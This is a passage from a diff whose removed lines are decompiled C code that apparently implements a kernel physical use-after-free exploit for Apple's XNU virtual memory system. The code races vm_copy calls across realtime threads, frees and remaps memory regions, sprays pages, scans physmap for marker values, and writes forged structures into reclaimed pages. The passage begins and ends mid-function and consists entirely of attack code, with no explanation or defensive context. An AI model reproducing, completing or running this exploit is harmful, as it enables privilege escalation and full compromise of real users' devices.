-      v6 = *(uint64_t *)(a2 + 32);
-      *result = *(uint64_t *)(a2 + 24);
-      *(uint64_t *)(a2 + 24) = result;
-      *(uint64_t *)(a2 + 32) = v6 + 1;
-    }
-    *(uint64_t *)(a2 + 8 * i) = result;
-  }
-  return result;
-}
-
-//----- (0000000000007E08) ----------------------------------------------------
-uint64_t *__fastcall dequeue_physmap_page_entry(uint64_t *a1, uint64_t *a2)
-{
-  uint64_t *v3; // x20
-  uint64_t *v4; // x21
-  int v5; // w1
-  uint64_t *result; // x0
-  __int64 v7; // x9
-  uint64_t *v8; // x8
-
-  v3 = a1;
-  v4 = a1 + 151;
-  v5 = a1 + 151 == a2;
-  while ( 1 )
-  {
-    result = physmap_page_entry_alloc(a1, v5);
-    if ( !result[1] )
-      break;
-    v5 = v4 == a2;
-    v7 = a2[2];
-    *result = a2[1];
-    a2[1] = result;
-    a2[2] = v7 + 1;
-    a1 = v3;
-  }
-  *a2 = result;
-  if ( a2[2] )
-  {
-    v8 = a2 + 1;
-    do
-      v8 = (uint64_t *)*v8;
-    while ( v8 );
-  }
-  return result;
-}
-
-//----- (0000000000007E84) ----------------------------------------------------
-uint64_t *__fastcall dequeue_multiple_physmap_entries(uint64_t *a1)
-{
-
-  fill_physmap_page_entries(a1, (__int64)(a1 + 141));
-  fill_physmap_page_entries(a1, (__int64)(a1 + 146));
-  dequeue_physmap_page_entry(a1, a1 + 151);
-  return dequeue_physmap_page_entry(a1, a1 + 155);
-}
-// 7ECC: variable 'vars8' is possibly undefined
-
-//----- (0000000000007EDC) ----------------------------------------------------
-__int64 __fastcall trigger_vm_copy_shared_mem(__int64 a1)
-{
-  atomic_store(1u, (unsigned __int8 *)(a1 + 1280));
-  vm_copy(
-    mach_task_self_,
-    *(uint64_t *)(*(uint64_t *)(a1 + 1208) + 240LL),
-    0xC000u,
-    *(uint64_t *)(*(uint64_t *)(a1 + 1240) + 208LL));
-  return 0;
-}
-
-//----- (0000000000007F28) ----------------------------------------------------
-__int64 __fastcall thread_realtime_vm_copy(__int64 a1)
-{
-  __int64 i; // x21
-  __int64 v3; // x23
-  __int64 j; // x21
-  __int64 v5; // x23
-
-  setup_thread_policy();
-  for ( i = 0; i != -16; i -= 8 )
-  {
-    v3 = *(uint64_t *)(a1 + 1136 + i);
-    vm_deallocate(mach_task_self_, *(uint64_t *)(v3 + 24), 0x4000u);
-    *(uint64_t *)(v3 + 24) = 0;
-  }
-  vm_copy(mach_task_self_, *(uint64_t *)(a1 + 1080), *(uint64_t *)(a1 + 1096), *(uint64_t *)(a1 + 1088));
-  for ( j = 0; j != -16; j -= 8 )
-  {
-    v5 = *(uint64_t *)(a1 + 1176 + j);
-    vm_deallocate(mach_task_self_, *(uint64_t *)(v5 + 24), 0x4000u);
-    *(uint64_t *)(v5 + 24) = 0;
-  }
-  atomic_store(1u, (unsigned __int8 *)(a1 + 1296));
-  vm_copy(mach_task_self_, *(uint64_t *)(*(uint64_t *)(a1 + 1240) + 208LL), 0xC000u, 0xFFFFFFFFFFFFFFFFLL);
-  return 0;
-}
-
-//----- (0000000000007FF8) ----------------------------------------------------
-__int64 __fastcall scan_physmap_for_region(__int64 a1, unsigned __int64 a2)
-{
-  __int64 v4; // x8
-  unsigned __int64 *v5; // x25
-  unsigned __int64 *v6; // x21
-  __int64 v7; // x22
-  __int64 v8; // x26
-  __int64 v9; // x23
-  unsigned __int64 v10; // x8
-  __int64 v11; // x28
-  unsigned __int64 v12; // x27
-  __int64 result; // x0
-  unsigned __int64 v14; // x25
-  unsigned __int64 v15; // x26
-  vm_address_t address; // [xsp+8h] [xbp-58h] BYREF
-
-  v4 = *(uint64_t *)(a1 + 32);
-  v5 = (unsigned __int64 *)(v4 + 0x4000);
-  v6 = (unsigned __int64 *)(v4 + 0x8000);
-  v7 = *(uint64_t *)(a1 + 1088);
-  v8 = *(uint64_t *)(a1 + 1496);
-  v9 = *(uint64_t *)(a1 + 1504);
-  *(uint64_t *)(v8 + v7) = 0xAAAA1111AAAA1111LL;
-  *(uint64_t *)(v9 + v7) = 0xAAAA1111AAAA1111LL;
-  v10 = 0xBBBB2222BBBB2223LL;
-  v11 = 200000;
-  while ( 1 )
-  {
-    v12 = v10;
-    address = (vm_address_t)v5;
-    result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
-    *v5 = v12;
-    __dsb(0xAu);
-    if ( v12 == *(uint64_t *)(v7 + v8) )
-    {
-      *(uint8_t *)(a1 + 40) = 1;
-      goto LABEL_8;
-    }
-    if ( v12 == *(uint64_t *)(v7 + v9) )
-      break;
-    v10 = v12 + 1;
-    if ( !--v11 )
-      goto LABEL_8;
-  }
-  *(uint8_t *)(a1 + 41) = 1;
-LABEL_8:
-  if ( !*(uint8_t *)(a1 + 41) && a2 )
-  {
-    v14 = v12 + 1;
-    v15 = 1;
-    while ( 1 )
-    {
-      address = (vm_address_t)v6;
-      result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
-      *v6 = v14;
-      __dsb(0xAu);
-      if ( v14 == *(uint64_t *)(v7 + v9) )
-        break;
-      ++v15;
-      ++v14;
-      if ( v15 > a2 )
-        return result;
-    }
-    *(uint8_t *)(a1 + 41) = 1;
-  }
-  return result;
-}
-
-//----- (000000000000814C) ----------------------------------------------------
-__int64 __fastcall get_physmap_region_ptr(__int64 a1, int a2)
-{
-  unsigned __int64 *v4; // x21
-  __int64 v5; // x22
-  __int64 v6; // x8
-  __int64 v7; // x23
-  unsigned __int64 v8; // x24
-  __int64 v9; // x25
-  __int64 result; // x0
-  vm_address_t address; // [xsp+8h] [xbp-48h] BYREF
-
-  v4 = (unsigned __int64 *)(*(uint64_t *)(a1 + 32) + 0x4000LL);
-  v5 = *(uint64_t *)(a1 + 1088);
-  v6 = 1504;
-  if ( a2 )
-    v6 = 1496;
-  v7 = *(uint64_t *)(a1 + v6);
-  *(uint64_t *)(v7 + v5) = 0xAAAA1111AAAA1111LL;
-  v8 = 0xBBBB2222BBBB2223LL;
-  v9 = 200000;
-  while ( 1 )
-  {
-    address = (vm_address_t)v4;
-    result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
-    *v4 = v8;
-    if ( v8 == *(uint64_t *)(v5 + v7) )
-      break;
-    ++v8;
-    if ( !--v9 )
-      return result;
-  }
-  if ( a2 )
-    *(uint8_t *)(a1 + 40) = 1;
-  else
-    *(uint8_t *)(a1 + 41) = 1;
-  return result;
-}
-
-//----- (0000000000008228) ----------------------------------------------------
-unsigned __int64 __fastcall run_physmap_worker_threads(__int64 a1)
-{
-  pthread_t *v2; // x20
-  unsigned __int8 *v3; // x21
-  void *(__cdecl *v4)(void *); // x0
-  unsigned __int8 v5; // w8
-  unsigned __int8 v6; // w8
-  void *(__cdecl *v7)(void *); // x0
-  unsigned __int8 v8; // w8
-  unsigned __int8 v9; // w8
-  __int64 v10; // x1
-  __int64 v11; // x8
-  char v12; // w10
-  char v13; // w9
-  __int64 v14; // x20
-  char i; // w8
-  char v16; // w21
-  unsigned __int64 result; // x0
-
-  v2 = &PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_A_OFFSET);
-  v3 = &PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET);
-  atomic_store(0, &PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET));
-  v4 = (void *(__cdecl *)(void *))nullsub_1(trigger_vm_copy_shared_mem);
-  if ( pthread_create(v2, 0, v4, (void *)a1) )
-    __error();
-  v5 = atomic_load(v3);
-  if ( (v5 & 1) == 0 )
-  {
-    do
-    {
-      usleep(0x3E8u);
-      v6 = atomic_load(&PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET));
-    }
-    while ( (v6 & 1) == 0 );
-  }
-  usleep(0x1388u);
-  atomic_store(0, &PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET));
-  v7 = (void *(__cdecl *)(void *))nullsub_1(thread_realtime_vm_copy);
-  if ( pthread_create(&PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_B_OFFSET), 0, v7, (void *)a1) )
-    __error();
-  v8 = atomic_load(&PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET));
-  if ( (v8 & 1) == 0 )
-  {
-    do
-    {
-      usleep(0x3E8u);
-      v9 = atomic_load(&PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET));
-    }
-    while ( (v9 & 1) == 0 );
-  }
-  usleep(0x1388u);
-  vm_region_nesting_result nesting = query_vm_region_nesting(PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_SHARED_COPY_BASE_OFFSET));
-  v11 = 0;
-  v12 = 1;
-  while ( 1 )
-  {
-    v13 = v12;
-    if ( nesting.object_id == *(uint64_t *)(*(uint64_t *)(a1 + 8 * v11 + PHYSMAP_CTX_REGION_A_LIST_OFFSET) + 16LL) )
-      break;
-    v12 = 0;
-    v11 = 1;
-    if ( (v13 & 1) == 0 )
-      goto LABEL_14;
-  }
-  PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_A_INDEX_OFFSET) = v11;
-LABEL_14:
-  v14 = 0;
-  for ( i = 1; ; i = 0 )
-  {
-    v16 = i;
-    result = query_vm_region_nesting(*(uint64_t *)(*(uint64_t *)(a1 + 8 * v14 + PHYSMAP_CTX_REGION_B_LIST_OFFSET) + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET)).packed_info;
-    if ( (uint32_t)result == 2 )
-      break;
-    v14 = 1;
-    if ( (v16 & 1) == 0 )
-      return result;
-  }
-  PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_B_INDEX_OFFSET) = v14;
-  return result;
-}
-// 8324: variable 'v10' is possibly undefined
-// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
-
-//----- (0000000000008384) ----------------------------------------------------
-uintptr_t __fastcall physmap_madvise_free(__int64 a1, __int64 a2)
-{
-  int status; // w0
-
-  status = madvise((void *)(*(uint64_t *)(a1 + 32) + 49152LL), a2 << 14, 3);
-  if ( status )
-    return (uintptr_t)__error();
-  return 0;
-}
-//----- (00000000000083C8) ----------------------------------------------------
-__int64 __fastcall puaf_vmregion_race_trigger(uint64_t *a1)
-{
-  vm_address_t v2; // x20
-  __int64 v3; // x8
-  __int64 v4; // x10
-  __int64 v5; // x22
-  __int64 v6; // x23
-  __int64 i; // x20
-  __int64 result; // x0
-  vm_address_t address; // [xsp+8h] [xbp-38h] BYREF
-
-  address = 0;
-  vm_allocate(mach_task_self_, &address, 0xC000u, 1);
-  v2 = address;
-  v3 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_SHARED_COPY_BASE_OFFSET);
-  v4 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RACE_SOURCE_B_OFFSET);
-  *(uint8_t *)(PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RACE_SOURCE_A_OFFSET) + v3) = 65;
-  *(uint8_t *)(v4 + v3) = 65;
-  v5 = *(uint64_t *)((char *)a1 + PHYSMAP_CTX_REGION_A_LIST_OFFSET + 8 * PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_A_INDEX_OFFSET));
-  vm_deallocate(mach_task_self_, *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET), 0xC000u);
-  *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET) = 0;
-  thread_switch(0, 2, 0);
-  v6 = *(uint64_t *)((char *)a1 + PHYSMAP_CTX_REGION_B_LIST_OFFSET + 8 * PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_B_INDEX_OFFSET));
-  vm_deallocate(mach_task_self_, *(uint64_t *)(v6 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET), 0xC000u);
-  *(uint64_t *)(v6 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET) = 0;
-  vm_remap_inplace(v2, 0xC000u, 0);
-  query_vm_region_nesting(v2);
-  *(uint64_t *)(*(uint64_t *)((char *)a1 + PHYSMAP_CTX_REGION_B_LIST_OFFSET + 8 * PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_B_INDEX_OFFSET)) + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET) = v2;
-  scan_physmap_for_region((__int64)a1, PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_PAGE_WINDOW_COUNT_OFFSET));
-  physmap_madvise_free((__int64)a1, PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_PAGE_WINDOW_COUNT_OFFSET) - 4LL);
-  for ( i = 0; i != 800000; i += 8 )
-    result = vm_remap_inplace(*(uint64_t *)(PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_SPRAY_PAGES_OFFSET) + i), 0x4000u, 0);
-  return result;
-}
-
-//----- (00000000000084F8) ----------------------------------------------------
-uintptr_t __fastcall puaf_vm_region_scan_1(__int64 a1)
-{
-  __int64 v2; // x9
-  vm_address_t v3; // x21
-  __int64 v4; // x21
-  __int64 v5; // x21
-  int status; // w0
-  vm_address_t address; // [xsp+8h] [xbp-28h] BYREF
-
-  v2 = *(uint64_t *)(a1 + 32);
-  if ( *(uint8_t *)(a1 + 40) && *(uint8_t *)(a1 + 41) )
-  {
-    v3 = v2 + 0x8000;
-    address = v2 + 0x4000;
-    vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
-    address = v3;
-  }
-  else
-  {
-    address = v2 + 0x4000;
-  }
-  vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
-  v4 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RESTORE_ENTRY_B_OFFSET);
-  vm_deallocate(mach_task_self_, *(uint64_t *)(v4 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET), 0x4000u);
-  *(uint64_t *)(v4 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET) = 0;
-  if ( pthread_join(PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_B_OFFSET), 0) )
-    __error();
-  PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_B_OFFSET) = 0;
-  v5 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RESTORE_ENTRY_A_OFFSET);
-  vm_deallocate(mach_task_self_, *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET), 0x4000u);
-  *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET) = 0;
-  status = pthread_join(PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_A_OFFSET), 0);
-  if ( status )
-    return (uintptr_t)__error();
-  PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_A_OFFSET) = 0;
-  return 0;
-}
-
-//----- (00000000000085E4) ----------------------------------------------------
-void __fastcall validate_physmap_range_2(__int64 a1)
-{
-  int v2; // w8
-  __int64 v3; // x22
-  __int64 v4; // x23
-  __int64 v5; // x25
-  vm_address_t v6; // x20
-  __int64 v7; // x1
-  __int64 v8; // x8
-  int (__cdecl *v9)(const void *, const void *); // x0
-
-  v2 = *(unsigned __int8 *)(a1 + 40);
-  if ( *(uint8_t *)(a1 + 40) && *(uint8_t *)(a1 + 41) )
-  {
-    *(uint16_t *)(a1 + 40) = 0;
-    scan_physmap_for_region(a1, *(uint64_t *)(a1 + 1432));
-  }
-  else
-  {
-    *(uint16_t *)(a1 + 40) = 0;
-    get_physmap_region_ptr(a1, v2 != 0);
-  }
-  vm_copy(mach_task_self_, *(uint64_t *)(a1 + 1104), *(uint64_t *)(a1 + 1120), *(uint64_t *)(a1 + 1112));
-  v3 = 0;
-  v4 = 0;
-  v5 = 0;
-  do
-  {
-    v6 = *(uint64_t *)(*(uint64_t *)(a1 + 48) + 8 * v5);
-    vm_region_nesting_result nesting = query_vm_region_nesting(v6);
-    if ( nesting.packed_info >> 32 )
-    {
-      vm_deallocate(mach_task_self_, v6, 0x4000u);
-      ++v5;
-    }
-    else
-    {
-      if ( !v3 )
-        v3 = v5 + 1;
-      ++v5;
-      v8 = a1 + 16 * v4;
-      *(uint64_t *)(v8 + 56) = v6;
-      *(uint64_t *)(v8 + 64) = nesting.object_id;
-      ++v4;
-    }
-  }
-  while ( v5 != 100000 );
-  *(uint64_t *)(a1 + 1424) = v3;
-  v9 = (int (__cdecl *)(const void *, const void *))nullsub_1(compare_entry_by_offset);
-  qsort((void *)(a1 + 56), 0x40u, 0x10u, v9);
-  free(*(void **)(a1 + 48));
-  *(uint64_t *)(a1 + 48) = 0;
-}
-// 8694: variable 'v7' is possibly undefined
-// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
-
-//----- (0000000000008710) ----------------------------------------------------
-void __fastcall run_physmap_setup_sequence(uint64_t *a1)
-{
-
-  run_physmap_worker_threads((__int64)a1);
-  puaf_vmregion_race_trigger(a1);
-  puaf_vm_region_scan_1((__int64)a1);
-  validate_physmap_range_2((__int64)a1);
-}
-// 8748: variable 'vars8' is possibly undefined
-
-//----- (0000000000008758) ----------------------------------------------------
-__int64 __fastcall validate_physmap_range_3(vm_address_t *a1)
-{
-  vm_address_t v2; // x8
-  __int64 v3; // x8
-  vm_address_t v4; // x20
-  vm_address_t v5; // x20
-  __int64 v6; // x8
-  vm_address_t v7; // x20
-  vm_address_t *v8; // x26
-  vm_address_t v9; // x8
-  vm_address_t v10; // x9
-  vm_address_t v11; // x10
-  __int64 v12; // x20
-  vm_address_t v13; // x11
-  __int64 v14; // x8
-  vm_address_t v15; // x8
-  vm_address_t v16; // x1
-  vm_address_t v17; // x8
-  vm_address_t v18; // x20
-  vm_size_t v19; // x21
-  unsigned __int64 v20; // x8
-  __int128 *v21; // x9
-  __int64 v22; // x20
-  vm_address_t *v23; // x21
-  vm_address_t v24; // x8
-  unsigned __int64 v25; // x11
-  unsigned __int64 v26; // x10
-  unsigned int v27; // w8
-  __int128 *v28; // x8
-  __int128 v30; // [xsp+10h] [xbp-380h]
-  __int128 v31; // [xsp+30h] [xbp-360h]
-  uint8_t v32[32]; // [xsp+40h] [xbp-350h]
-  __int128 v33; // [xsp+60h] [xbp-330h]
-  __int128 v34; // [xsp+B0h] [xbp-2E0h]
-  __int128 v35; // [xsp+D0h] [xbp-2C0h]
-  __int128 v36; // [xsp+E0h] [xbp-2B0h]
-  __int128 v37; // [xsp+F0h] [xbp-2A0h]
-  __int128 v38; // [xsp+100h] [xbp-290h]
-  uint8_t v39[32]; // [xsp+140h] [xbp-250h]
-  __int128 v40; // [xsp+160h] [xbp-230h]
-  __int128 v41; // [xsp+170h] [xbp-220h]
-  __int128 v42; // [xsp+1B0h] [xbp-1E0h]
-  __int128 v43; // [xsp+1D0h] [xbp-1C0h]
-  __int128 v44; // [xsp+1E0h] [xbp-1B0h]
-  __int128 v45; // [xsp+1F0h] [xbp-1A0h]
-  __int128 v46; // [xsp+200h] [xbp-190h]
-  uint8_t address[32]; // [xsp+240h] [xbp-150h] BYREF
-  __int128 v48; // [xsp+260h] [xbp-130h]
-  __int128 v49; // [xsp+270h] [xbp-120h]
-  __int128 v50; // [xsp+280h] [xbp-110h]
-  __int128 v51; // [xsp+290h] [xbp-100h]
-  __int128 v52; // [xsp+2A0h] [xbp-F0h]
-  __int128 v53; // [xsp+2B0h] [xbp-E0h]
-  __int128 v54; // [xsp+2C0h] [xbp-D0h]
-  __int128 v55; // [xsp+2D0h] [xbp-C0h]
-  __int128 v56; // [xsp+2E0h] [xbp-B0h]
-  __int128 v57; // [xsp+2F0h] [xbp-A0h]
-  __int128 v58; // [xsp+300h] [xbp-90h]
-  __int128 v59; // [xsp+310h] [xbp-80h]
-  __int128 v60; // [xsp+320h] [xbp-70h]
-  __int128 v61; // [xsp+330h] [xbp-60h]
-
-  *(uint64_t *)address = 0;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
-  v2 = *(uint64_t *)address;
-  a1[176] = *(uint64_t *)address;
-  a1[172] = v2;
-  *(uint64_t *)address = v2;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 0x4000);
-  thread_switch(0, 2, 0);
-  vm_deallocate(mach_task_self_, a1[7], 0x4000u);
-  a1[7] = 0;
-  vm_remap_inplace(a1[172], 0x4000u, 0);
-  query_vm_region_nesting(a1[172]);
-  *(uint64_t *)address = 0;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x10000u, 1);
-  v3 = *(uint64_t *)address;
-  a1[175] = *(uint64_t *)address;
-  *(uint64_t *)address = v3;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
-  vm_remap_inplace(a1[175], 0x4000u, 0);
-  *(uint64_t *)address = a1[175] + 0x4000;
-  v4 = *(uint64_t *)address;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 0x4000);
-  thread_switch(0, 2, 0);
-  vm_deallocate(mach_task_self_, a1[9], 0x4000u);
-  a1[9] = 0;
-  vm_copy(mach_task_self_, a1[172], 0xC000u, v4);
-  query_vm_region_nesting(v4);
-  vm_deallocate(mach_task_self_, a1[175] + 49152, 0x4000u);
-  *(uint64_t *)address = a1[172] + 0x4000;
-  v5 = *(uint64_t *)address;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
-  vm_remap_inplace(v5, 0x4000u, 0);
-  *(uint64_t *)address = 0;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
-  v6 = *(uint64_t *)address;
-  a1[173] = *(uint64_t *)address;
-  *(uint64_t *)address = v6;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
-  vm_remap_inplace(a1[173], 0x4000u, 0);
-  *(uint64_t *)address = a1[173] + 0x4000;
-  v7 = *(uint64_t *)address;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
-  vm_remap_inplace(v7, 0x4000u, 0);
-  v8 = a1 + 138;
-  vm_copy(mach_task_self_, a1[139], a1[140], a1[138]);
-  v9 = a1[140];
-  if ( v9 )
-  {
-    v10 = 0;
-    v11 = *v8;
-    v12 = -1;
-    do
-    {
-      v13 = v11 + v10;
-      if ( (*(uint8_t *)(v11 + v10 + 127) & 1) == 0 && (*(uint8_t *)(v13 + 383) & 1) == 0 )
-      {
-        a1[163] = *(uint64_t *)(v13 + 328);
-        v12 = v10;
-      }
-      v10 += 0x4000LL;
-    }
-    while ( v10 < v9 );
-  }
-  else
-  {
-    v12 = -1;
-  }
-  *(uint64_t *)address = 0;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
-  v14 = *(uint64_t *)address;
-  a1[169] = *(uint64_t *)address;
-  *(uint64_t *)address = v14;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
-  vm_remap_inplace(a1[169], 0x4000u, 0);
-  *(uint64_t *)address = a1[169] + 0x4000;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000u, 0x4000);
-  v15 = a1[139] + v12;
-  a1[170] = v15;
-  *(uint64_t *)address = v15 + 0x4000;
-  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000u, 0x4000);
-  v16 = a1[139];
-  v17 = a1[170];
-  v18 = v17 + 49152;
-  v19 = v16 + a1[140] - v17 - 0x4000;
-  vm_deallocate(mach_task_self_, v16, v17 - v16);
-  vm_deallocate(mach_task_self_, v18, v19);
-  vm_deallocate(mach_task_self_, a1[138], a1[140]);
-  *v8 = 0;
-  a1[139] = 0;
-  *(uint64_t *)address = 0;
-  *(__int128 *)&address[16] = 0u;
-  v60 = 0u;
-  v61 = 0u;
-  v58 = 0u;
-  v59 = 0u;
-  v56 = 0u;
-  v57 = 0u;
-  v54 = 0u;
-  *(uint64_t *)&v55 = 0;
-  v52 = 0u;
-  v53 = 0u;
-  v50 = 0u;
-  v51 = 0u;
-  v48 = 0u;
-  v49 = 0u;
-  *(__int128 *)&address[8] = *(__int128 *)byte_42D30;
-  DWORD2(v48) = 100;
-  LODWORD(v53) = 4;
-  HIDWORD(v53) = 16893952;
-  *((uint64_t *)&v55 + 1) = -1;
-  v20 = -256;
-  HIDWORD(v56) = 786560;
-  do
-  {
-    v21 = (__int128 *)(v20 + a1[169]);
-    v21[28] = v58;
-    v21[29] = v59;
-    v21[30] = v60;
-    v21[31] = v61;
-    v21[24] = v54;
-    v21[25] = v55;
-    v21[26] = v56;
-    v21[27] = v57;
-    v21[20] = v50;
-    v21[21] = v51;
-    v21[22] = v52;
-    v21[23] = v53;
-    v21[16] = *(__int128 *)address;
-    v21[17] = *(__int128 *)&address[16];
-    v21[18] = v48;
-    v21[19] = v49;
-    v20 += 256LL;
-  }
-  while ( v20 >> 8 < 0x3F );
-  vm_copy(mach_task_self_, a1[169], 0xC000u, a1[170]);
-  v22 = 0;
-  v23 = a1 + 11;
-  do
-  {
-    vm_deallocate(mach_task_self_, v23[v22], 0x4000u);
-    v23[v22] = 0;
-    v22 += 2;
-  }
-  while ( v22 != 124 );
-  bzero((void *)a1[169], 0x4000u);
-  *(uint64_t *)&v43 = 0;
-  v44 = 0u;
-  *(uint64_t *)&v45 = 0;
-  v46 = 0u;
-  v42 = 0u;
-  v41 = 0u;
-  v24 = a1[163];
-  v25 = (v24 + 0x2400000200LL) >> 6;
-  if ( v24 == -512 )
-    LODWORD(v25) = 0;
-  *(uint32_t *)v39 = v25;
-  *(uint32_t *)&v39[4] = v25;
-  *(__int128 *)&v39[8] = *(__int128 *)byte_42D30;
-  *(uint64_t *)&v39[24] = 0x4000;
-  *(uint64_t *)&v40 = v24 + 512;
-  *((uint64_t *)&v40 + 1) = 0x100000064LL;
-  LODWORD(v41) = 1;
-  HIDWORD(v42) = 1165312;
-  *((uint64_t *)&v43 + 1) = -1;
-  HIDWORD(v44) = 786439;
-  *((uint64_t *)&v45 + 1) = v24 + 184;
-  *(uint64_t *)&v46 = v24 + 184;
-  *(uint64_t *)&v35 = 0;
-  v36 = 0u;
-  *(uint64_t *)&v37 = 0;
-  *((uint64_t *)&v38 + 1) = 0;
-  v34 = 0u;
-  v26 = (v24 + 0x2400000100LL) >> 6;
-  if ( v24 == -256 )
-    LODWORD(v26) = 0;
-  *(uint32_t *)v32 = v26;
-  *(uint32_t *)&v32[4] = v26;
-  *(__int128 *)&v32[8] = *(__int128 *)byte_42D30;
-  *(uint64_t *)&v32[24] = 0x4000;
-  *(uint64_t *)&v33 = 0;
-  *((uint64_t *)&v33 + 1) = 100;
-  LODWORD(v34) = 4;
-  HIDWORD(v34) = 100352;
-  *((uint64_t *)&v35 + 1) = -1;
-  HIDWORD(v36) = 786439;
-  *((uint64_t *)&v37 + 1) = v24 + 3200;
-  *(uint64_t *)&v38 = v24 + 3200;
-  DWORD2(v31) = 0;
-  *(uint64_t *)&v30 = 0;
-  if ( v24 )
-    v27 = (v24 + 0x2400000000LL) >> 6;
-  else
-    v27 = 0;
-  DWORD2(v30) = v27;
-  HIDWORD(v30) = v27;
-  *(uint64_t *)&v31 = v27 | 0x401000100000000LL;
-  HIDWORD(v31) = 4108;
-  v28 = (__int128 *)a1[169];
-  v28[2] = v40;
-  v28[3] = v41;
-  *v28 = *(__int128 *)v39;
-  v28[1] = *(__int128 *)&v39[16];
-  v28[6] = 0u;
-  v28[7] = v42;
-  v28[4] = 0u;
-  v28[5] = 0u;
-  v28[10] = v44;
-  v28[11] = v45;
-  v28[8] = 0u;
-  v28[9] = v43;
-  v28[14] = 0u;
-  v28[15] = 0u;
-  v28[12] = v46;
-  v28[13] = 0u;
-  v28[28] = v38;
-  v28[29] = 0u;
-  v28[30] = 0u;
-  v28[31] = 0u;
-  v28[24] = 0u;
-  v28[25] = v35;
-  v28[26] = v36;
-  v28[27] = v37;
-  v28[20] = 0u;
-  v28[21] = 0u;
-  v28[22] = 0u;
-  v28[23] = v34;
-  v28[16] = *(__int128 *)v32;
-  v28[17] = *(__int128 *)&v32[16];
-  v28[18] = v33;
-  v28[19] = 0u;
-  v28[32] = v30;
-  v28[33] = 0u;
-  v28[34] = v31;
-  return vm_copy(mach_task_self_, a1[169], 0xC000u, a1[170]);
-}
-// 42D30: using guessed type __int128 xmmword_42D30;
-
-//----- (0000000000008DDC) ----------------------------------------------------
-void __fastcall scan_physmap_overlap(uint64_t *a1, __int64 a2, unsigned __int64 *a3, unsigned __int64 *a4)
-{
-  char *v8; // x21
-  __int64 v9; // x23
-  unsigned __int64 v10; // x0
-  unsigned __int64 v11; // x8
-  unsigned __int64 v12; // x9
-  unsigned __int64 v13; // x9
-  unsigned __int64 v14; // x8
-  char *v15; // x9
-  unsigned __int64 v16; // x12
-
-  v8 = (char *)malloc(0x4000u);
-  v9 = -(__int64)vm_page_size & a2;
-  if ( v9 )
-  {
-    while ( 1 )
-    {
-      v10 = build_physmap_page_table(a1, v9);
-      if ( v10 )
-        break;
-LABEL_6:
-      v9 -= 0x4000;
-      if ( !v9 )
-        goto LABEL_7;
-    }
-    physmap_read_aligned(a1, v10, v8, 0x4000u);
-    v11 = 0;
-    while ( *(uint32_t *)&v8[v11] != -1459454112 )
-    {
-      v12 = v11 >> 3;
-      v11 += 4LL;
-      if ( v12 >= 0x7FF )
